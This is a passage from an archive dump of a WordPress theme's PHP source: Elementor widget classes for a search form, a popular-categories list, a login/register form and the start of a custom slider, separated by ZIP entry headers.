			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:hover, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:hover, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'input_padding', array(
			'label'              => __( 'Input Padding', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'allowed_dimensions' => 'horizontal',
			'placeholder'        => [
				'top'      => 'auto',
				'right'    => '',
				'bottom'   => 'auto',
				'left'     => '',
				'isLinked' => false,
			],
			'selectors'          => array(
				'{{WRAPPER}} form.pc-searchform input.search-input'               => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .search-style-default form.pc-searchform i'          => 'right: {{RIGHT}}{{UNIT}};',
				'body.rtl {{WRAPPER}} .search-style-default form.pc-searchform i' => 'right:auto;left: {{LEFT}}{{UNIT}};',
			),
		) );

		$this->add_responsive_control( 'btn_padding', array(
			'label'              => __( 'Button Padding', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'condition'          => [ 'style!' => [ 'default' ] ],
			'allowed_dimensions' => 'horizontal',
			'placeholder'        => [
				'top'      => 'auto',
				'right'    => '',
				'bottom'   => 'auto',
				'left'     => '',
				'isLinked' => false,
			],
			'selectors'          => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'form_height', array(
			'label'      => __( 'Search Form Height', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input, {{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:before, {{WRAPPER}} .pc-widget-searchform.search-style-text-button .searchsubmit' => 'line-height: {{SIZE}}px;' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'input_text_typo',
			'label'    => __( 'Input Text Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'btn_text_typo',
			'label'     => __( 'Button Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pc-widget-searchform.search-style-text-button .searchsubmit',
			'condition' => [ 'style' => 'text-button' ],
		) );

		$this->add_control( 'icon_btn_size', array(
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'condition'  => [ 'style!' => 'text-button' ],
			'selectors'  => array( '{{WRAPPER}} .pc-widget-searchform.search-style-default i, {{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:before' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$style    = isset( $settings['style'] ) && $settings['style'] ? $settings['style'] : 'default';
		$this->markup_block_title( $settings, $this );
		?>
        <div class="pcwg-widget el pc-widget-searchform penci-builder-element pc-search-form search-style-<?php echo $style; ?>">
            <form role="search" method="get" class="pc-searchform"
                  action="<?php echo esc_url( home_url( '/' ) ); ?>">
                <div class="pc-searchform-inner">
                    <input type="text" class="search-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                    <i class="penciicon-magnifiying-glass"></i>
                    <button type="submit"
                            class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                </div>
            </form>
        </div>
		<?php
	}

}
PK     N\,l    2  inc/elementor/modules/penci-popular-cat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularCat;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-popular-cat';
	}

	public function get_widgets() {
		return array( 'PenciPopularCat' );
	}
}
PK     N\    E  inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularCat\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPopularCat extends Base_Widget {

	public function get_name() {
		return 'penci-popular-cat';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Popular Categories', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-bullet-list';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'plimit', array(
				'label'     => __( 'Amount', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 10,
			)
		);
		$this->add_control(
			'pcat_type', array(
				'label'   => __( 'Categories type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'default',
				'options' => array(
					'default'            => esc_html__( 'Popular categories by number posts', 'soledad' ),
					'alphabetical_order' => esc_html__( 'Popular categories sort by name A->Z', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'pcount', array(
				'label'     => __( 'Show posts count', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);
		$this->add_control(
			'phierarchical', array(
				'label'     => __( 'Show hierarchy', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);

		$this->add_control(
			'phide_uncat', array(
				'label'     => __( 'Hide Uncategorized category', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
				'separator' => 'before',
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Color and typo
		$this->start_controls_section(
			'section_color_typo',
			array(
				'label' => __( 'Colors', 'soledad' ),
				'tab' => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'plink_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} li a' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'plink_hcolor', array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} li a:hover' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'borders_color', array(
				'label'     => __( 'Border Bottom Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-block-popular-cat li, .penci-block-popular-cat ul ul' => 'border-color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'pmeta_size', array(
				'label'     => __( 'Font size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} li a' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'ppcount_color', array(
				'label'     => __( 'Post Counts  Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} .category-item-count' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'cat_spacing', array(
				'label'     => __( 'Spacing Between Categories', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-block-popular-cat li' => 'padding-bottom: calc( {{SIZE}}px / 2 ); margin-bottom: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-block-popular-cat ul ul' => 'padding-top: calc( {{SIZE}}px / 2 ); margin-top: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-block-popular-cat li:last-child' => 'padding-bottom: 0; margin-bottom: 0;',
				),
			)
		);
		
		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-block-popular-cat widget_categories widget widget_categories';

		$c          = ! empty( $settings['pcount'] ) ? '1' : '0';
		$h          = ! empty( $settings['phierarchical'] ) ? '1' : '0';
		$limit      = ! empty( $settings['plimit'] ) ? $settings['plimit'] : 6;
		$exclude    = ! empty( $settings['phide_uncat'] ) ? '1' : '';
		$hide_empty = empty( $settings['pcount'] ) ? false : true;

		$cat_args = array(
			'show_count'   => $c,
			'hierarchical' => $h,
			'hide_empty'   => $hide_empty,
			'number'       => $limit,
			'title_li'     => '',
			'exclude'      => $exclude
		);
		if ( isset( $settings['pcat_type'] ) && 'default' == $settings['pcat_type'] ) {
			$cat_args['orderby'] = 'count';
			$cat_args['order']   = 'DESC';
		}

		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content penci-div-inner">
				<ul>
					<?php
					wp_list_categories( $cat_args );
					?>
				</ul>
			</div>
		</div>
		<?php
	}
}
PK     N\>Cw+    1  inc/elementor/modules/penci-login-form/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLoginForm;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-login-form';
	}

	public function get_widgets() {
		return array( 'PenciLoginForm' );
	}
}
PK     N\Z7  7  C  inc/elementor/modules/penci-login-form/widgets/penci-login-form.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLoginForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLoginForm extends Base_Widget {

	public function get_name() {
		return 'penci-login-form';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Login/Register Form', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-lock-user';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		
		$this->add_control(
			'app_id', array(
				'type' => Controls_Manager::RAW_HTML,
				'raw' => '<span style="color: #888;font-size: 12px;">Please note that when a user is logged in, the registration form will be hidden. And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.</span>',
				'content_classes' => 'elementor-descriptor',
			)
		);
		
		$this->add_control(
			'form_style', array(
				'label'   => __( 'Choose Form Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'login',
				'options' => array(
					'login'    => esc_html__( 'Login', 'soledad' ),
					'register' => esc_html__( 'Register', 'soledad' ),
				)
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'pformtext_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-user-login' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pformtext_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-user-login',
			)
		);
		$this->add_control(
			'pinput_color',
			array(
				'label'     => __( 'Input Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="password"]' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="text"]'        => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="email"]'       => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="url"]'         => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="password"]'    => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pinput_placeholder_color',
			array(
				'label'     => __( 'Input Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} form input::-webkit-input-placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} form input:-moz-placeholder'          => 'color: {{VALUE}};',
					'{{WRAPPER}} form input::-ms-input-placeholder'     => 'color: {{VALUE}};',
					'{{WRAPPER}} form input::placeholder'     => 'color: {{VALUE}}; opacity: 1;',
				),
			)
		);
		$this->add_control(
			'pinput_border_color',
			array(
				'label'     => __( 'Input Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="password"]' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="text"]'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="email"]'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="url"]'         => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="password"]'    => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pinput_bgcolor',
			array(
				'label'     => __( 'Input Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="password"]' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="text"]'        => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="email"]'       => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="url"]'         => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="password"]'    => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pinput_typo',
				'label'    => __( 'Input Typography', 'soledad' ),
				'selector' => '{{WRAPPER}}  .penci-register-wrap input[type="text"],{{WRAPPER}}  .penci-register-wrap input[type="email"],{{WRAPPER}}  .penci-register-wrap input[type="password"],{{WRAPPER}}  .penci-user-login input[type="text"],{{WRAPPER}}  .penci-user-login input[type="email"],{{WRAPPER}}  .penci-user-login input[type="password"]'
			)
		);
		$this->add_control(
			'psubmitbtn_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-register-wrap input[type="submit"],{{WRAPPER}} .penci-user-login input[type="submit"], .penci-user-logged-in .penci-user-action-links a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="submit"]'        => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="submit"]'           => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-logged-in .penci-user-action-links a' => 'background-color: {{VALUE}};border-color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'psubmitbtn_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="submit"]:hover'        => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="submit"]:hover'           => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-logged-in .penci-user-action-links a:hover' => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'psubmitbtn_hbgcolor',
			array(
				'label'     => __( 'Button Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="submit"]:hover'        => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="submit"]:hover'           => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-logged-in .penci-user-action-links a:hover' => 'background-color: {{VALUE}};border-color: {{VALUE}};'
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubmitbtn_typo',
				'label'    => __( 'Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-register-wrap input[type="submit"],{{WRAPPER}} .penci-user-login input[type="submit"],{{WRAPPER}} .penci-user-logged-in .penci-user-action-links a'
			)
		);
		
		$this->add_control(
			'ploginregis_link',
			array(
				'label'     => __( 'Login & Register Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-loginform-extra a'        => 'color: {{VALUE}};border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$form_type = $settings['form_style'];

		$css_class  = 'penci-block-vc penci-login-register';

		$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
		if( ! is_user_logged_in() || ( $form_type != 'register' && is_user_logged_in() ) ){
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-login-wrap penci-user-login clearfix<?php echo( 'login' != $form_type ? ' hidden' : '' ); ?>">
					<?php
					if ( ! is_user_logged_in() ) {
						\Penci_Vc_Helper::_login_form();
					} else {
						$current_user = wp_get_current_user();
						?>
						<div class="penci-user-logged-in">
							<div class="penci-login-header">
								<div class="penci-login-avatar">
									<?php echo get_avatar( $current_user->ID, 85 ); ?>
								</div>
								<p>
									<span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
									<span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
								</p>
							</div>
							<div class="penci-user-action-links">
								<?php
								if ( class_exists( 'bbpress' ) ) {
									$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
								} else {
									$profile_url = get_edit_user_link();
								}
								?>
								<a class="penci-button penci-button-ptofile" href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon('far fa-user-circle'); ?> <?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
								<a class="penci-button penci-button-logout" href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon('fas fa-sign-out-alt'); ?> <?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
							</div>
						</div>
						<?php
					}
					?>
				</div>
				<?php if( ! is_user_logged_in() && get_option( 'users_can_register' ) ){ ?>
				<div class="penci-register-wrap clearfix<?php echo( 'register' != $form_type ? ' hidden' : '' ); ?>">
					<div class="penci-register-container">
						<form name="form" id="penci-registration-form" class="penci-registration-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
							<input type="hidden" name="_wpnonce" class="penci_form_nonce" value="<?php echo wp_create_nonce( 'register' ); ?>">
							<p class="register-input">
								<input class="penci_first_name penci-input" name="penci_first_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_last_name penci-input" name="penci_last_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_name penci-input" name="penci_user_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_email penci-input" name="penci_user_email" type="email" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_pass penci-input" name="penci_user_pass" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_pass_confirm penci-input" name="penci_user_pass_confirm" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
							</p>
							<?php do_action( 'register_form' ); ?>
							<p class="register-input">
								<input type="submit" name="penci_submit" class="button" value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
							</p>
						</form>
						<?php
						echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
						?>
					</div>
				</div>
				<?php } ?>
				<div class="penci-loading-icon"><?php penci_fawesome_icon('fas fa-spinner fa-pulse fa-3x fa-fw'); ?></div>
			</div>
		</div>
		<?php
		}
	}
}
PK     N\tm  m  5  inc/elementor/modules/penci-custom-sliders/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCustomSliders;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-custom-sliders';
	}

	public function get_widgets() {
		return array( 'PenciCustomSliders' );
	}
}
PK     N\#`  `  K  inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCustomSliders\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCustomSliders extends Base_Widget {

	public function get_name() {
		return 'penci-custom-sliders';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Custom Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-slideshow';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'slides', 'carousel', 'image', 'title', 'slider' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slides', array(
				'label' => __( 'Slides', 'soledad' )
			)
		);

		$repeater = new Repeater();
		$repeater->start_controls_tabs( 'slides_repeater' );

		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );
		$repeater->add_control(
			'heading', array(
				'label'       => __( 'Title & Description', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'Slide Heading', 'soledad' ),
				'label_block' => true,
			)
		);

		$repeater->add_control(
			'description', array(
				'label'      => __( 'Description', 'soledad' ),
				'type'       => Controls_Manager::TEXTAREA,
				'default'    => __( 'I am slide content. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'show_label' => false,
			)
		);

		$repeater->add_control(
			'button_text', array(
				'label'   => __( 'Button Text 1', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Click Here', 'soledad' ),
			)
		);

		$repeater->add_control(
			'button_link', array(
				'label'       => __( 'Button Link 1', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);
		$repeater->add_control(
			'button_text2', array(
				'label'   => __( 'Button Text 2', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Click Here', 'soledad' ),
			)
		);

		$repeater->add_control(
			'button_link2', array(
				'label'       => __( 'Button Link 2', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$repeater->add_control(
			'add_url_feat_img', array(
				'label'     => __( 'Add image url', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',

			)
		);

		$repeater->add_control(
			'url_feat_img', array(
				'label'       => __( 'Image Url', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'conditions'  => array(
					'terms' => array(
						array(
							'name'  => 'add_url_feat_img',
							'value' => 'yes',
						)
					),
				),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'background', array( 'label' => __( 'Background', 'soledad' ) ) );

		$repeater->add_control(
			'background_type', array(
				'label'   => __( 'Background Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image',
				'options' => [
					'image' => 'Image',
					'video' => 'Video',
				]
			)
		);

		$repeater->add_control(
			'background_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#bbbbbb',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-color: {{VALUE}}' ),
			)
		);

		$repeater->add_control(
			'background_video',
			array(
				'label'       => __( 'Background Video URL', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
				'condition'   => [ 'background_type' => 'video' ],
			)
		);

		$repeater->add_control(
			'background_image', array(
				'label'     => _x( 'Image', 'Background Control', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => [ 'background_type' => 'image' ],
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-image: url({{URL}})' ),
			)
		);
		$repeater->add_control(
			'background_size', array(
				'label'     => _x( 'Size', 'Background Control', 'soledad' ),
				'condition' => [ 'background_type' => 'image' ],
				'type'      => Controls_Manager::SELECT,
				'default'   => 'cover',
				'options'   => array(
					'cover'   => _x( 'Cover', 'Background Control', 'soledad' ),
					'contain' => _x( 'Contain', 'Background Control', 'soledad' ),
					'auto'    => _x( 'Auto', 'Background Control', 'soledad' ),
				),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-size: {{VALUE}}'
				),
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'background_ken_burns', array(
				'label'     => __( 'Ken Burns Effect', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'separator' => 'before',
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'zoom_direction', array(
				'label'     => __( 'Zoom Direction', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'in',
				'options'   => array(
					'in'  => __( 'In', 'soledad' ),
					'out' => __( 'Out', 'soledad' ),
				),
				'condition' => [ 'background_ken_burns' => 'yes' ],
			)
		);

		$repeater->add_control(
			'background_overlay', array(
				'label'     => __( 'Background Overlay', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
